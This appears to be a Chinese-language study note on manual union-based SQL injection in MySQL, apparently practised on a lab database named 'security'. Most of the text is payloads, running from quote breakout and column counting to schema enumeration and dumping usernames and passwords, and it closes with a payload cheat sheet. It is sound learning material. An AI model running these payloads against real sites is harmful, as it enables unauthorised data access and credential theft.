sql注入之手工注入
前言
手工注入虽然原理是一样的,但是在具体手工注入的过程中有好多各种各样的细节不太一样,特此记录汇总下,以方便以后的学习查询。
步骤
注释或闭合语句
首先看下一个基本的SQL语句查询源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
下面的步骤默认都是采用这种基本的SQL语句的,其他的注入方法换汤不换药,这里只是想整理下注入的步骤与关键性的语句。
引导闭合语句
id =1 ' and '1' ='1
带入进源码中的SQL语句就是:
SELECT * FROM users WHERE id='1 ' and '1' = '1' LIMIT 0,1
注释后面语句
常用的注释payload:
1 | or 1=1--+ |
带入进源码中的SQL语句就是:
SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1
这样可以看出直接把后面的语句都给注释掉了,一般实战用注释比较多。
and验证
当然这里 and 验证和 or 验证都可以,二者区别不大:
页面返回正常
1 | ?id=1' and 1=1 --+ |
页面返回异常
1 | ?id=1' and 1=2 --+ |
如果发现一开始页面先是正常然后是异常的话,说明页面啊存在注入。当然这里是最基本的判断方法,到后面盲注的时候是用延时函数来观察页面的返回时间的。
查询字段数目
查询字段数目主要利用MySQL里面的 order by 来判断字段数目,order by一般采用数学中的对半查找来判断具体的字段数目,这样效率会很高,下面假设用 order by 来判断一个未知字段的注入。
1 | ?id=1' order by 1 –-+ 此时页面正常,继续换更大的数字测试 |
通过数学的对半查找,确定字段数目。
联合查询
UNION SELECT 联合查询,手工注入经典语句,作用是在后面通过UNION把我们的恶意注入语句接上去,带入数据库进行查询。
因为字段数目是:3,那么正规的语句如下:
?id=1' UNION SELECT 1,2,3 --+
这里页面是不会报错的,此时我们带入数据库的语句为:
SELECT 1,2,3 这段语句没有任何意义,所以页面按返回正常。
但是为了信息收集,我们得知道当前这个页面里面的值,调用的具体是数据库中的哪个字段才可以,可以故意构造一个错误的语句,来爆出错误的字段:
1 | id=-1' UNION SELECT 1,2,3 –-+ 通过id=-1 一个负数不存在的id值来触发报错 |
收集信息
在爆出的字段值里面可以替换
为我们的恶意语句,前期主要是收集信息,包括判断当前数据库是否是root用户,MySQL的版本等,一般收集这些信息常用一些MySQL自带的函数去收集信息:
MySQL常用的系统函数:
1 | version() #MySQL版本 |
查询当前数据库名
id=1' and 1=2 UNION SELECT 1,database(),3 --+
查询MySQL版本
id=1' and 1=2 UNION SELECT 1,2,version() --+
查询数据库用户和路径
id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+
查询数据库
查询数据库,一般来说我们注入的时候要查的就是当前的数据库,但有时候root权限就NB了还可以看到网站数据库之外的数据库内容。
查询当前数据库
id=1' and 1=2 UNION SELECT 1,2,database() --+
拿到当前的数据库名称为:security
查询所有数据库
有时候忍不住想看下其他的数据库的内容,可以用这个语句查询所有的数据库:
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
查询表名
database 查询数据库
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
单引号-数据库
这里的database()
函数进行了数据库查询,因为我们已经查到了当前的数据库为security
,所有这里还可以酱紫写,用单引号括把数据库的名称括起来'security'
:
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
hex编码数据库
如果嫌单引号括起来麻烦的话,那么巧了!这里还有一个更麻烦的方法,就是将数据库名进行hex
编码处理。
使用火狐自带的HackBar
插件可以快速的进行hex
编码:
hex编码后在前面加上0x表明这里是16进制编码。
查询列名
目前收集到的信息为:
1 | 数据库名称: securuty |
这几个表中 一般我们都会去 继续猜解users
表。
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查询字段值
知道了数据库、表名、各个字段名可以直接进行查询了,不需借助information_schanem
数据库了。
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+
简单整理
order by –-+ 判断字段数目
union select –-+ 联合查询收集信息
id=1' and 1=2 UNION SELECT 1,2,database() –-+ 查询当前数据库
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata –-+查询所有数据库
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –-+ 查询表名
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –-+ 查询列名
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users –-+ 查询字段值